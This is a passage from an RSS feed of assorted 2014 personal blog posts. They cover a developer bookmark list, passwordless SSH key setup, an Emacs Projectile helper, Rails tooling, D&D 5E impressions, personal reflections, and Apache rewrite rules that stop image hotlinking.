&lt;li&gt;&lt;a href="http://robots.thoughtbot.com/a-tmux-crash-course"&gt;Tmux crash course&lt;/a&gt;: By Josh Clayton.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/@johanstn/initiating-ui-engineering-conversations-946906b4c710#.9vkrt6xzi"&gt;UI Engineering Questions&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=24518682"&gt;Use long flags when scripting (2013) | Hacker News&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.comp.nus.edu.sg/~stevenha/visualization/"&gt;VisuAlgo.net&lt;/a&gt;: Visualising data structures and algorithms through animation.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://twitter.com/kwyntastic/status/1281639369359544322"&gt;When management tells you to build a specific thing (junior vs mid vs senior eng)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://wizardzines.com/"&gt;Wizard zines (programming by Julia Evans)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=19487848"&gt;WTF Is Big O Notation? (Hacker News)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://yourcalendricalfallacyis.com/"&gt;Your calendrical fallacy is thinking…&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sun, 13 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/development-bookmarks</guid></item><item><title>Paswordless ssh with authorized keys</title><link>https://xenodium.com/passwordless-ssh-with-authorized-keys</link><description>&lt;h2&gt;On local host&lt;/h2&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;ssh-keygen
cat ~/.ssh/id_dsa.pub | ssh user@remotehost 'cat &amp;gt;&amp;gt; ~/.ssh/authorized_keys'
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;On remote host&lt;/h2&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;UPDATE: &lt;a href="https://stuff-things.net/2020/01/24/not-stupid-ssh-tricks-automatic-ssh-add"&gt;Add &amp;quot;AddKeysToAgent yes&amp;quot; to .ssh/config and enter password only once&lt;/a&gt;.&lt;/p&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sun, 13 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/passwordless-ssh-with-authorized-keys</guid></item><item><title>Opening Projects with Projectile</title><link>https://alanpearce.eu/post/opening-projects-with-projectile/</link><description>&lt;p&gt;I use &lt;a href="https://github.com/bbatsov/projectile"&gt;Projectile&lt;/a&gt; for working with projects in Emacs.  It&amp;rsquo;s really good at finding files in projects, working with source code indexes (I use &lt;a href="https://www.gnu.org/software/global/"&gt;Global&lt;/a&gt;), and with its &lt;a href="https://github.com/nex3/perspective-el"&gt;perspective&lt;/a&gt; support, it&amp;rsquo;s also great at separating projects into workspaces.  However, I&amp;rsquo;ve always felt it lacking in actually opening projects.  I tend to work on different projects all the time and &lt;code&gt;projectile-switch-project&lt;/code&gt; only tracks projects once they&amp;rsquo;ve been opened initially (despite the name, it works across Emacs sessions).&lt;/p&gt;
&lt;p&gt;With this in mind, I decided to try to add support for opening projects under a given subdirectory, e.g. &lt;code&gt;~/projects&lt;/code&gt;, regardless of whether or not I&amp;rsquo;ve visited them before.&lt;/p&gt;
&lt;p&gt;I saw that projectile uses &lt;a href="https://github.com/magnars/dash.el"&gt;Dash.el&lt;/a&gt; in some places, and after reading about &lt;a href="https://en.wikipedia.org/wiki/Anaphoric_macro"&gt;anaphoric macros&lt;/a&gt;, I decided that I&amp;rsquo;d try to use them to aid me.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-lisp"&gt;(defun ap/subfolder-projects (dir)
  (--map (file-relative-name it dir)
         (-filter (lambda (subdir)
                    (--reduce-from (or acc (funcall it subdir)) nil
                                   projectile-project-root-files-functions))
                  (-filter #'file-directory-p (directory-files dir t &amp;quot;\\&amp;lt;&amp;quot;)))))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;First, this filters the non-special files under &lt;code&gt;dir&lt;/code&gt;, filtering non-directories.  Then it runs the list of &lt;code&gt;projectile-project-root-files-functions&lt;/code&gt; on it to determine if it looks like a projectile project.  To make the list more readable, it makes the filenames relative to the passed-in directory.  It runs like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-lisp"&gt;(ap/subfolder-projects &amp;quot;~/projects&amp;quot;) =&amp;gt;
(&amp;quot;dotfiles&amp;quot; &amp;quot;ggtags&amp;quot; …)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So, we&amp;rsquo;ve got ourselves a list, but now we need to be able to open the project that&amp;rsquo;s there, even though the folders are relative.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-lisp"&gt;(defun ap/open-subfolder-project (from-dir &amp;amp;optional arg)
  (let ((project-dir (projectile-completing-read &amp;quot;Open project: &amp;quot;
                                     (ap/subfolder-projects from-dir))))
    (projectile-switch-project-by-name (expand-file-name project-dir from-dir) arg)))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;By wrapping the call to &lt;code&gt;ap/subfolder-projects&lt;/code&gt; in another function that takes the same directory argument, we can re-use the project parent directory and expand the selected project name into an absolute path before passing it to &lt;code&gt;projectile-switch-project-by-name&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;We get support for multiple completion systems for free, since projectile has a wrapper function that works with the default system, ido, &lt;a href="https://github.com/d11wtq/grizzl"&gt;grizzl&lt;/a&gt; and recently, &lt;a href="https://github.com/emacs-helm/helm"&gt;helm&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Then I defined some helper functions to make it easy to open work and home projects.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-lisp"&gt;(defvar work-project-directory &amp;quot;~/work&amp;quot;)
(defvar home-project-directory &amp;quot;~/projects&amp;quot;)

(defun ap/open-work-project (&amp;amp;optional arg)
  (interactive &amp;quot;P&amp;quot;)
  (ap/open-subfolder-project work-project-directory arg))

(defun ap/open-home-project (&amp;amp;optional arg)
  (interactive &amp;quot;P&amp;quot;)
  (ap/open-subfolder-project home-project-directory arg))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I could probably simplify this with a macro, but I&amp;rsquo;m not sure that there&amp;rsquo;s much advantage in it.  I only have two project types right now, after all.&lt;/p&gt;
&lt;p&gt;With this all set up, whenever I want to start working on a project I just type &lt;code&gt;M-x home RET&lt;/code&gt; to call up the list.&lt;/p&gt;
&lt;p&gt;I also considered trying to add all the projects under a directory to the projectile known project list.  I didn&amp;rsquo;t find it quite as easy to use, but it&amp;rsquo;s available below if anyone would prefer that style.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-lisp"&gt;(defun ap/-add-known-subfolder-projects (dir)
  (-map #'projectile-add-known-project (--map (concat (file-name-as-directory dir) it) (ap/subfolder-projects dir))))

(defun ap/add-known-subfolder-projects ()
  (interactive)
  (ap/-add-known-subfolder-projects (ido-read-directory-name &amp;quot;Add projects under: &amp;quot;)))
&lt;/code&gt;&lt;/pre&gt;</description><author>Alan Pearce</author><pubDate>Sat, 12 Jul 2014 12:12:34 GMT</pubDate><guid isPermaLink="true">https://alanpearce.eu/post/opening-projects-with-projectile/</guid></item><item><title>Real Steel</title><link>https://olshansky.info/movie/real_steel/</link><description>Olshansky's review of Real Steel</description><author>🦉 olshansky 🦁</author><pubDate>Sat, 12 Jul 2014 09:07:15 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/real_steel/</guid></item><item><title>The Present You</title><link>https://josh.works/growth/2014/07/12/the-present-you/</link><description>&lt;p&gt;It seems most of the decisions in life are made in favor of the 
present you, or the 
future you. I wish the future me could sit beside the present me, and discuss how I was going about my day. Instead, it’s a rather one-sided conversation.
There are obvious choices, like food, spending money vs. saving, going to bed early - these are all clear calls, and would be even more clear if the future me was here to advocate on his behalf.&lt;/p&gt;

&lt;p&gt;There are subtle choices, too. Things like how to engage in relationships with others, how to invest in myself and others. These would benefit the most from a pocket-sized future me.&lt;/p&gt;

&lt;p&gt;If anyone invents this, I’ll buy.&lt;/p&gt;

&lt;p&gt;&lt;a href="http://static1.squarespace.com/static/556694eee4b0f4ca9cd56729/56035dbbe4b07ebf58d79d16/5586fe5be4b0278244cea15d/1434910452370/2014-05-04-20-53-18.jpg"&gt;&lt;img alt="Two sisters and a wife. Making a joke about spending quality time together... on the phone." src="/squarespace_images/static_556694eee4b0f4ca9cd56729_56035dbbe4b07ebf58d79d16_5586fe5be4b0278244cea15d_1434910452370_2014-05-04-20-53-18.jpg_" /&gt;&lt;/a&gt;&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Sat, 12 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/growth/2014/07/12/the-present-you/</guid></item><item><title>"Cooking" is so much more</title><link>https://josh.works/home/2014/07/12/cooking-is-so-much-more/</link><description>&lt;p&gt;I’ve long wanted to get better at cooking. I eat a lot of food, and would like to enjoy it. I’ve gotten to a point where I am comfortable following a recipe, and I bet you normally are fine following a recipe too.
To follow a recipe, you must have two things. These two things have always surprised me in their difficulty.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Decide what recipe to follow&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Have the proper ingredients on hand&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;There’s a lot of planning that goes into eating. I don’t love running to the grocery store. We go once a week. This means we have to plan out what meals we will eat, in advance. If I want to eat better, 
andcook outside my comfort zone, this means we have to figure out what meals we want to eat, which hopefully uses the items we have on hand. For example, if a meal requires a tablespoon of molasses, and you don’t have any, you need a whole jar of molasses. BUT! Once you have that jar, you can use it in many meals before going to the store again.&lt;/p&gt;

&lt;p&gt;This grows complex when you have a bunch of partially used ingredients lying around. I’m still trying to figure out what a “core” list of ingredients and supplies we need. It’s this list of background knowledge that will make cooking easier. Right now, when I see a list of fifteen required ingredients, I barely know if we have any on hand, or if we don’t, if we have any substitutions. This means fifteen ingredients presents fifteen little puzzles.&lt;/p&gt;

&lt;p&gt;With time, and skill, fifteen ingredients will present only two or three unfamiliar ingredients, and picking recipes will be easy. Then, grocery shopping won’t be so stressful.&lt;/p&gt;

&lt;p&gt;In summary - if you want to be a better cook, know your pantry better.&lt;/p&gt;

&lt;p&gt;&lt;a href="http://static1.squarespace.com/static/556694eee4b0f4ca9cd56729/56035dbbe4b07ebf58d79d16/5586fe5ce4b0278244cea161/1434910443673/img_20140326_075707.jpg"&gt;&lt;img alt="A few key ingredients. I know this &amp;quot;meal&amp;quot; so well, I enjoy shopping for it, and cooking it. The opposite of how I normally feel." src="/squarespace_images/static_556694eee4b0f4ca9cd56729_56035dbbe4b07ebf58d79d16_5586fe5ce4b0278244cea161_1434910443673_img_20140326_075707.jpg_" /&gt;&lt;/a&gt;&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Sat, 12 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/home/2014/07/12/cooking-is-so-much-more/</guid></item><item><title>Losing Apple</title><link>http://crateofpenguins.com/blog/losing-apple</link><description>&lt;p&gt;Yes; fantastic piece from Sid O&amp;#8217;Neill. I myself have begun to wonder the same things lately, questioning how I became so pedantic and obsessed with things of such little real importance that I would wax on endlessly about &lt;a href="https://zacs.site/blog/misunderstood.html"&gt;a simple ad&lt;/a&gt;, of all things. Yet, unlike Sid, I have been able to suppress those uncomfortable questions until very recently. As time marches on, however, and the amount of time I devote to this hobby only grows, this is a very real reality that I must confront. And as for what I will ultimately answer? Time will only tell; were I forced to make a prediction now, though, I would wager I end up on the same side of this issue as Sid.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://crateofpenguins.com/blog/losing-apple"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Fri, 11 Jul 2014 09:58:34 GMT</pubDate><guid isPermaLink="true">http://crateofpenguins.com/blog/losing-apple</guid></item><item><title>Typing in Colemac 2.0</title><link>https://josh.works/growth/2014/07/11/typing-in-colemac-2-0/</link><description>&lt;p&gt;I want to learn to type in Colemak, but I’m afraid to try to invest twenty hours in it. That’s a long commitment, and I’m afraid I would not follow through, and feel like it was a failure, because I didn’t allot enough time, nor reach a desired level of skill.
My hope is that as I outline this approach, it could be helpful to others (or to a future me) who are trying to add to their skillset. Obviously few people are going to learn an alternative keyboard layout. But learning how to learn… the audience is wide for that one.&lt;/p&gt;

&lt;p&gt;Here’s my rethought out approach:&lt;/p&gt;

&lt;p&gt;&lt;a href="http://joshkaufman.net/"&gt;Josh Kaufman&lt;/a&gt; suggests ten principles of Rapid Skills Acquisition, and I’m 
&lt;a href="http://www.first20hours.com/typing/"&gt;copying him shamelessly&lt;/a&gt;. Here they are below:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Choose a loveable project&lt;/strong&gt;
&lt;strong&gt;.&lt;/strong&gt;
I’ve tried before to learn. I was excited then, am excited now. It’s perfectly nerdy, and has the potential to boost my typing speed while reducing finger strain. I work behind a desk for a living - carpal tunnel would be a bummer.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Focus your energy on one skill at a time.&lt;/strong&gt;
Let it be known - I will spend five hours practicing, and will finish less than a week after the first session. I’ll be focused.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Define target performance level&lt;/strong&gt;
&lt;strong&gt;.&lt;/strong&gt;
 In five hours I would like to be up to 20 wpm according to 
&lt;a href="http://type-fu.com/"&gt;Type Fu&lt;/a&gt;, one of the programs I’ll be using.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Deconstruct the skill into subskills.&lt;/strong&gt;
 Set up new keyboard. Learn new letters. Learn words. Learn sentences. Learn common bigrams and trigrams.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Obtain Critical tools.&lt;/strong&gt;
&lt;a href="http://colemak.com/Mac"&gt;Change layout&lt;/a&gt;. Change CAPS LOCK to Backspace. Start with 
&lt;a href="http://first20hours.github.io/keyzen-colemak/"&gt;this tool&lt;/a&gt;to learn the letters. Move to 
&lt;a href="http://type-fu.com/"&gt;Type Fu&lt;/a&gt; once I have letters down at 98% accuracy. Move 
&lt;a href="https://code.google.com/p/amphetype/"&gt;here&lt;/a&gt; for 
&lt;a href="http://en.wikipedia.org/wiki/Bigram"&gt;bigrams&lt;/a&gt; and 
&lt;a href="http://en.wikipedia.org/wiki/Trigram"&gt;trigrams&lt;/a&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Eliminate barriers to practice.&lt;/strong&gt;
I will start 
&lt;a href="http://selfcontrolapp.com/"&gt;SelfControl&lt;/a&gt; for one hour whenever I start training. I have blacklist of all social media sites, Reddit, Hacker News, and a number of news aggregates. All the things I am distracted by on the internet. I will turn my phone off and put it in another room.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Make dedicated time for practice.&lt;/strong&gt;
 I will practice twice a day, for twenty minutes each session. Once when I finish working, and again in the late evening, before bed.
&lt;em&gt;**&lt;/em&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Create fast feedback loops.&lt;/strong&gt;
 Every tool provides accuracy and speed metrics. Very fast feedback loops.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Practice by the clock in short bursts.&lt;/strong&gt;
 Like I said - twenty minutes minimum, thirty minutes max. Short, focused bursts.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Emphasize quantity and speed.&lt;/strong&gt;
 Done.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Below is my “setup”, ready for practice. I’ll outline the modifications I made to my system in later posts. (Remapping your CAPS LOCK key to backspace is fantastic. I did it about six months ago, and will never go back.)&lt;/p&gt;

&lt;p&gt;&lt;a href="http://static1.squarespace.com/static/556694eee4b0f4ca9cd56729/56035dbbe4b07ebf58d79d16/5586fe5be4b0278244cea15a/1434910449327/screenshot_7_10_14__10_07_pm.png"&gt;&lt;img alt="My Desktop - training, with a reminder right there." src="/squarespace_images/static_556694eee4b0f4ca9cd56729_56035dbbe4b07ebf58d79d16_5586fe5be4b0278244cea15a_1434910449327_screenshot_7_10_14__10_07_pm.png_" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt; &lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Fri, 11 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/growth/2014/07/11/typing-in-colemac-2-0/</guid></item><item><title>Getting Ready for Dungeons &amp;amp; Dragons Fifth Edition</title><link>https://benovermyer.com/blog/2014/07/getting-ready-for-dungeons-and-dragons-fifth-edition/</link><description>&lt;p&gt;Despite being a game author with my own system to enjoy, I still love Dungeons &amp;amp; Dragons. It was the first RPG I ever encountered, and I own a copy of almost every edition ever released. I enjoy every edition, too, from the simple 0E/Basic all the way through to the tactically-minded 4E. I'm really excited for the new fifth edition. My wife agreed to run a campaign based on at least the Starter Set adventure. Normally I'm the GM, so not only getting to play a new edition of my second favorite RPG of all time (the first being my own Ingenium, of course) but actually being a player instead of the ref is a big change. The new Starter Set has a rule book, an adventure, a set of dice, and some pregenerated character sheets in the box. The box's contents have been covered in depth elsewhere, so I'll focus primarily on how I feel about the fifth edition rules themselves.&lt;/p&gt;
&lt;h1 id="attributes-skills-and-proficiencies"&gt;Attributes, Skills, and Proficiencies&lt;/h1&gt;
&lt;p&gt;One of the most interesting changes is in this area. Much like my own Ingenium, 5E now uses attribute checks for most everything that isn't covered by a specific skill. Want to try something related to Dexterity? Just roll a d20 and add your Dex bonus. Skills are a simple extension of that. They just add a small modifier to that roll. Same with Proficiencies. Proficiencies in 5E are particularly interesting, though, compared to previous editions. They can now apply to things other than weapons, such as Thieves' Tools. That reinforces a reoccurring theme with 5E: combat is no longer the sole focus of the rules.&lt;/p&gt;
&lt;h1 id="classes"&gt;Classes&lt;/h1&gt;
&lt;p&gt;In 5E classes got more streamlined than in 3E, and less crunchy than 4E. The loss of the powers mechanic from 4E is an interesting choice, and I feel that it opens the game up to more of a narrative experience. I can see where balancing classes for 5E could get problematic since it's less formula-friendly, but really, balancing a tabletop RPG is always problematic when it comes to clever players.&lt;/p&gt;
&lt;h1 id="races"&gt;Races&lt;/h1&gt;
&lt;p&gt;Races are a lot simpler than in 3E or 4E, but they also feel a lot more “fluffy.” Building new races for 5E feels like building races for 2E, though a little more polished. I love this!&lt;/p&gt;
&lt;h1 id="spells-and-spellcasting"&gt;Spells and Spellcasting&lt;/h1&gt;
&lt;p&gt;Cantrips are at-will, whenever-you-feel-like-it spells. They don't take up a spell slot and don't count against the number of spells you can cast per day. This makes casters feel really useful, even when they're out of spells for the day. The spell lists feel a lot like AD&amp;amp;D 2nd Edition spell lists. The spells have a name, a component cost (verbal, somatic, and material), and a description, and that's about it. It's really flexible. While it does open the system to potential abuse, it feels a lot like AD&amp;amp;D, and that's a good thing in my book!&lt;/p&gt;
&lt;h1 id="advantage-and-disadvantage"&gt;Advantage and Disadvantage&lt;/h1&gt;
&lt;p&gt;Probably the coolest core change is the addition of advantage/disadvantage. Instead of being a direct modifier to the roll, Advantage lets you roll a second d20 and take the higher of the two. Similarly, Disadvantage makes you roll a second d20 and take the lower of the two. This is roughly equivalent to a bonus (or penalty) of 3, but in terms of feel, the addition of a second die makes it just seem more dramatic.&lt;/p&gt;
&lt;h1 id="overall-thoughts"&gt;Overall Thoughts&lt;/h1&gt;
&lt;p&gt;I love fifth edition. It reminds me of what got me into role-playing in the first place. I've already started converting content from Eiridia to 5E rules, and it just feels right. If you're on the fence, download the rules from the Wizards of the Coast website; they're free and unrestricted. It'll be worth your time, I promise!&lt;/p&gt;</description><author>Ben Overmyer's Site</author><pubDate>Fri, 11 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://benovermyer.com/blog/2014/07/getting-ready-for-dungeons-and-dragons-fifth-edition/</guid></item><item><title>Coming back to rails</title><link>https://captnemo.in/blog/2014/07/11/back-to-rails/</link><description>&lt;p&gt;I’ve 
&lt;a href="/blog/2011/08/01/learning-ruby-on-rails/"&gt;worked with rails previously before&lt;/a&gt;
, but that was a long time back
and even though I’ve continued to dabble with it, 
I’d never built anything complete or large enough with it. This time,
however, I’m working on an actual large-scale application with all the 
nuts-and-bolts that make rails such a pleasure to work with. Since
I’m coming back to rails after such a long time, I thought I’d document
some of the cool new features that I’ve found in rails this time around.&lt;/p&gt;

&lt;h2 id="spring"&gt;Spring&lt;/h2&gt;

&lt;p&gt;One of the major discomforts of working with rails on the
command line was that it is &lt;em&gt;heavy&lt;/em&gt; and &lt;em&gt;slow&lt;/em&gt;. Spring works behind
the scenes on the second issue, namely speed. Here’s how the
project’s README describes itself:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Spring is a Rails application preloader. It speeds up development 
by keeping your application running in the background so you don’t 
need to boot it every time you run a test, rake task or migration.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;You can update all the binaries in your &lt;code class="language-plaintext highlighter-rouge"&gt;PROJECT_ROOT/bin/&lt;/code&gt; directory
(which include &lt;code class="language-plaintext highlighter-rouge"&gt;rails&lt;/code&gt;, &lt;code class="language-plaintext highlighter-rouge"&gt;bundle&lt;/code&gt; and &lt;code class="language-plaintext highlighter-rouge"&gt;rake&lt;/code&gt;) to make use of spring
by executing the following command:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;bundle exec spring binstub --all
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Any further execs (such as &lt;code class="language-plaintext highlighter-rouge"&gt;./bin/rake -T&lt;/code&gt;) will make use of
the spring pre-loader leading to much faster startup times. You can even
use spring against the default system binaries by prefixing the commands
with &lt;code class="language-plaintext highlighter-rouge"&gt;spring&lt;/code&gt;, such as &lt;code class="language-plaintext highlighter-rouge"&gt;spring rake -T&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id="resque-scheduler"&gt;Resque-Scheduler&lt;/h2&gt;

&lt;p&gt;I needed a job queue for background tasks and polling API
services, and what better tool to use than resque. I’m using it in combination
with  &lt;a href="https://github.com/resque/resque-scheduler"&gt;resque-scheduler&lt;/a&gt; for
running tasks on cron. How it works is that in addition to your main rails
server and a long running resque job process, a separate resque-scheduler
rake task is kept running, which loads up the schedule and inserts
tasks accordingly into the resque queue as per the schedule.&lt;/p&gt;

&lt;p&gt;For those new to resque in general, you can start the two processes by:&lt;/p&gt;

&lt;figure class="highlight"&gt;&lt;pre&gt;&lt;code class="language-sh"&gt;&lt;span class="nv"&gt;QUEUE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt; rake environment resque:work &lt;span class="c"&gt;#To start resque&lt;/span&gt;
rake resque:scheduler&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Note that we are pre-loading the rails environment in the resque:work task as
it will load rails for you across all of your tasks. Also note that you
will need the following two lines in your &lt;code class="language-plaintext highlighter-rouge"&gt;Rakefile&lt;/code&gt; to get these tasks to run:&lt;/p&gt;

&lt;figure class="highlight"&gt;&lt;pre&gt;&lt;code class="language-ruby"&gt;&lt;span class="nb"&gt;require&lt;/span&gt; &lt;span class="s1"&gt;'resque/tasks'&lt;/span&gt;
&lt;span class="nb"&gt;require&lt;/span&gt; &lt;span class="s1"&gt;'resque/scheduler/tasks'&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Also remember to define the &lt;code class="language-plaintext highlighter-rouge"&gt;resque:setup&lt;/code&gt; task according to the 
&lt;code class="language-plaintext highlighter-rouge"&gt;resque-scheduler&lt;/code&gt; README, which would load the schedule and config as needed.&lt;/p&gt;

&lt;p&gt;This blog post is a work-in-progress and I will continue to update it with
bits of rails-foo as I learn more.&lt;/p&gt;

&lt;h2 id="rake-notes"&gt;Rake-notes&lt;/h2&gt;

&lt;p&gt;I’d never tried using notes before, and as it turns out, using &lt;code class="language-plaintext highlighter-rouge"&gt;rake:notes&lt;/code&gt;
is easy and super-awesome. Its allows you to spread your notes about TODOs, FIXMEs and such throughout your codebase and take a bird-eye’s look at them with just a single command.&lt;/p&gt;

&lt;p&gt;Read more about it at &lt;a href="http://siong1987.com/posts/powerful-and-hidden-rake-notes-in-rails/"&gt;http://siong1987.com/posts/powerful-and-hidden-rake-notes-in-rails/&lt;/a&gt;&lt;/p&gt;</description><author>Nemo's Home</author><pubDate>Fri, 11 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://captnemo.in/blog/2014/07/11/back-to-rails/</guid></item><item><title>Bitter Medicine</title><link>http://www.macstories.net/stories/bitter-medicine/</link><description>&lt;p&gt;I never had a problem with the aesthetics of iOS 7, and continue to have no troubles whatsoever with it running atop my iPhone 4S: my phone never restarts, and my battery works just fine&amp;#160;&amp;#8212;&amp;#160;especially for a device rapidly approaching its third birthday. Nevertheless, I can appreciate that many have had numerous and insurmountable problems in these areas as well as in many others, and that these issues have made iOS 7 a very difficult release with which to reckon their faith in Apple. And when framed in this light, I can understand why some would characterize their experience with iOS 7 as &amp;#8220;bitter&amp;#8221;. However, no significant, meaningful change comes without at least some modicum of pain: one does not become fit without straining at the gym, and becoming a big-time fancy-pants blogger takes more than one sleepless night along with a fair amount of effort. It&amp;#8217;s important to keep in mind, then, the difference between necessary and unnecessary pain. This, I believe, was the former, and&amp;#160;&amp;#8212;&amp;#160;at least for me&amp;#160;&amp;#8212;&amp;#160;a relatively painless evolution at that.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.macstories.net/stories/bitter-medicine/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 10 Jul 2014 10:16:11 GMT</pubDate><guid isPermaLink="true">http://www.macstories.net/stories/bitter-medicine/</guid></item><item><title>Eve 0.4 and Cerberus 0.7 Released</title><link>https://nicolaiarocci.com/eve-0-4-cerberus-0-7-released/</link><description>&lt;p&gt;&lt;!-- raw HTML omitted --&gt;Eve 0.4 adds cool features like Document Versioning and Coherence Mode. Cerberus 0.7 allows regex validation amongst other niceties. Make sure to check the &lt;a href="http://blog.python-eve.org/eve-04-released"&gt;official v0.4 announcement&lt;/a&gt; for all the details.&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Thu, 10 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/eve-0-4-cerberus-0-7-released/</guid></item><item><title>Preventing hotlinking from certain domains</title><link>https://bastian.rieck.me/blog/2014/preventing_hotlinking_from_certain_domains/</link><description>&lt;p&gt;I recently discovered a new plague on the internet—&lt;a href="https://en.wikipedia.org/wiki/Scraper_site"&gt;&amp;ldquo;Scraper Sites&amp;rdquo;&lt;/a&gt; and their brethren. While I can live with the fact that their bots are actively marketing
my &amp;ldquo;valuable content&amp;rdquo; (cue laughter) as their own, I draw the line at stealing my traffic. Although
the amount they steal by hotlinking my images is comparatively small, I still consider it a matter
of principle to fight these sites. Foremost, the internet is a place for information. By displaying
publicly-available information in a very confusing and haphazard way (most of the &amp;ldquo;people search
engines&amp;rdquo; out there do not even attempt to check the names for correctness), they only confuse
people.&lt;/p&gt;
&lt;p&gt;I will not let this stand, so I devised a way of blacklisting these sites and serving them different
content instead of the images they attempted to access. Assuming you have an Apache webserver with
&lt;a href="http://httpd.apache.org/docs/mod/mod_rewrite.html"&gt;&lt;code&gt;mod_rewrite&lt;/code&gt;&lt;/a&gt; installed, place the following in
either your &lt;code&gt;.htaccess&lt;/code&gt; file or one of the vhost configuration files in &lt;code&gt;/etc/apache2/sites-available&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;
        RewriteEngine on
        RewriteCond %{REQUEST_FILENAME} !hotlinking\.png$
        RewriteCond %{HTTP_REFERER} ^http://(www\.)?.*(-|.)?example\.org.*$ [NC,OR]
        RewriteCond %{HTTP_REFERER} ^http://(www\.)?.*(-|.)?example\.com.*$ [NC]
        RewriteRule \.(gif|jpg|jpeg|png)$ /images/hotlinking.png [R,L]
&amp;lt;/IfModule&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This snippet rewrites any image requests that come from a subdomain of &lt;code&gt;example.org&lt;/code&gt; or
&lt;code&gt;example.com&lt;/code&gt; to the file in &lt;code&gt;/images/hotlinking.png&lt;/code&gt;. The first condition ensures that the
rewriting does not pertain to the &lt;code&gt;hotlinking.png&lt;/code&gt; itself. You do not necessarily need this
condition if all your images are placed in a single folder and you place the &lt;code&gt;hotlinking.png&lt;/code&gt; one
outside of it.&lt;/p&gt;
&lt;p&gt;Note that I only explicitly deny hotlinking to those who want to make a quick buck. I have
absolutely no problem with other people hotlinking my content—I consider this a mark of
honour and will gladly take their additional traffic. Hence, I cannot wholeheartedly recommend that
